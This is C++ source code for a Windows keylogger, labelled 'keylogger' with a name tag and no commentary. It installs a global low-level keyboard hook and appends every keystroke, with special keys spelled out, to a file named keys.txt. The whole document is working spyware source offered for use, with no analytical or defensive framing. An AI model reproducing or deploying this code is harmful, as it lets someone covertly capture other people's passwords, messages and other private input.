keylogger

[norman]

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
using namespace std;

const char g_szClassName[] = "kl";

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, msg, wParam, lParam);
}
return 0;
}

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
ofstream out("keys.txt", ios::out | ios::app);
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);


if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
case VK_BACK: out << "<BK>"; break;
case VK_TAB: out << "<TAB>"; break;
case VK_CLEAR: out << "<CLEAR>"; break;
case VK_RETURN: out << "<ENTER>"; break;
case VK_SHIFT: out << "<SHIFT DOWN>"; break;
case VK_CONTROL: out << "<CTRL DOWN>"; break;
case VK_MENU: out << "<ALT DOWN>"; break;
case VK_PAUSE: out << "<PAUSE>"; break;
case VK_CAPITAL: out << "<CAPS LOCK>"; break;
case VK_ESCAPE: out << "<ESC>"; break;
case VK_SPACE: out << " "; break;
case VK_PRIOR: out << "<PAGE UP>"; break;
case VK_NEXT: out << "<PAGE DOWN>"; break;
case VK_END: out << "<END>"; break;
case VK_HOME: out << "<HOME>"; break;
case VK_LEFT: out << "<LEFT ARROW>"; break;
case VK_UP: out << "<UP ARROW>"; break;
case VK_RIGHT: out << "<RIGHT ARROW>"; break;
case VK_DOWN: out << "<DOWN ARROW>"; break;
case VK_SELECT: out << "<SELECT>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_EXECUTE: out << "<EXECUTE>"; break;
case VK_SNAPSHOT: out << "<PRINT SCREEN>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_HELP: out << "<HELP>"; break;
case VK_LWIN: out << "<Left Windows key DOWN>"; break;
case VK_RWIN : out << "<Right Windows key DOWN>"; break;
case VK_APPS: out << "<Applications key>"; break;
case VK_SLEEP: out << "<Computer Sleep key>"; break;
case VK_NUMPAD0: out << "0"; break;
case VK_NUMPAD1: out << "1"; break;
case VK_NUMPAD2: out << "2"; break;
case VK_NUMPAD3: out << "3"; break;
case VK_NUMPAD4: out << "4"; break;
case VK_NUMPAD5: out << "5"; break;
case VK_NUMPAD6: out << "6"; break;
case VK_NUMPAD7: out << "7"; break;
case VK_NUMPAD8: out << "8"; break;
case VK_NUMPAD9: out << "9"; break;
case VK_MULTIPLY: out << "*"; break;
case VK_ADD: out << "+"; break;
case VK_SEPARATOR: out << "<Separator key>"; break;
case VK_SUBTRACT: out << "-"; break;
case VK_DECIMAL: out << "."; break;
case VK_DIVIDE: out << "/"; break;
case VK_F1: out << "<F1>"; break;
case VK_F2: out << "<F2>"; break;
case VK_F3: out << "<F3>"; break;
case VK_F4: out << "<F4>"; break;
case VK_F5: out << "<F5>"; break;
case VK_F6: out << "<F6>"; break;
case VK_F7: out << "<F7>"; break;
case VK_F8: out << "<F8>"; break;
case VK_F9: out << "<F9>"; break;
case VK_F10: out << "<F10>"; break;
case VK_F11: out << "<F11>"; break;
case VK_F12: out << "<F12>"; break;
case VK_NUMLOCK: out << "<NUM LOCK>"; break;
case VK_SCROLL: out << "<SCROLL LOCK>"; break;
case VK_LSHIFT: out << "<Left SHIFT DOWN>"; break;
case VK_RSHIFT: out << "<Right SHIFT DOWN>"; break;
case VK_LCONTROL: out << "<Left CONTROL DOWN>"; break;
case VK_RCONTROL: out << "<Right CONTROL DOWN>"; break;
case VK_LMENU: out << "<Left MENU>"; break;
case VK_RMENU: out << "<Right MENU>"; break;
case VK_BROWSER_BACK: out << "<Browser Back key>"; break;
case VK_BROWSER_FORWARD: out << "<Browser Forward key>"; break;
case VK_BROWSER_REFRESH: out << "<Browser Refresh key>"; break;
case VK_BROWSER_STOP: out << "<Browser Stop key>"; break;
case VK_BROWSER_SEARCH: out << "<Browser Search key >"; break;
case VK_BROWSER_FAVORITES: out << "<Browser Favorites key>"; break;
case VK_BROWSER_HOME: out << "<Browser Start and Home key>"; break;
case VK_VOLUME_MUTE: out << "<Volume Mute key>"; break;
case VK_VOLUME_DOWN: out << "<Volume Down key>"; break;
case VK_VOLUME_UP: out << "<Volume Up key>"; break;
case VK_MEDIA_NEXT_TRACK: out << "<Next Track key>"; break;
case VK_MEDIA_PREV_TRACK: out << "<Previous Track key>"; break;
case VK_MEDIA_STOP: out << "<Stop Media key>"; break;
case VK_MEDIA_PLAY_PAUSE: out << "<Play/Pause Media key>"; break;
case VK_LAUNCH_MAIL: out << "<Start Mail key>"; break;
case VK_LAUNCH_MEDIA_SELECT: out << "<Select Media key>"; break;
case VK_LAUNCH_APP1: out << "<Start Application 1 key>"; break;
case VK_LAUNCH_APP2: out << "<Start Application 2 key>"; break;
case VK_OEM_1: out << "<;:' key >"; break;
case VK_OEM_PLUS: out << "+"; break;
case VK_OEM_COMMA: out << ","; break;
case VK_OEM_MINUS: out << "-"; break;
case VK_OEM_PERIOD: out << "."; break;
case VK_OEM_2: out << "</?' key >"; break;
case VK_OEM_3: out << "<`~' key >"; break;
case VK_OEM_4: out << "<[{' key>"; break;
case VK_OEM_5: out << "<\|' key>"; break;
case VK_OEM_6: out << "<]}' key>"; break;
case VK_OEM_7: out << "<single-quote/double-quote' key>"; break;
case VK_OEM_CLEAR: out << "<Clear>"; break;
default:
out << char(tolower(p->vkCode));
}
}
if (wParam == WM_KEYUP) {
switch (p->vkCode) {
case VK_SHIFT: out << "<SHIFT UP>"; break;
case VK_CONTROL: out << "<CTRL UP>"; break;
case VK_MENU: out << "<ALT UP>"; break;
case VK_LSHIFT: out << "<Left SHIFT UP>"; break;
case VK_RSHIFT: out << "<Right SHIFT UP>"; break;
case VK_LCONTROL: out << "<Left CONTROL UP>"; break;
case VK_RCONTROL: out << "<Right CONTROL UP>"; break;
case VK_LWIN: out << "<Left Windows key UP>"; break;
case VK_RWIN : out << "<Right Windows key UP>"; break;
default:
goto a;
a:;
}
}
out.close();
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
WNDCLASSEX wc;
HWND hwnd;
MSG Msg;

wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_szClassName;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);


hwnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
"kl",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, hInstance, NULL);





HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
while(GetMessage(&Msg, NULL, 0, 0) > 0)
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
return 0;
}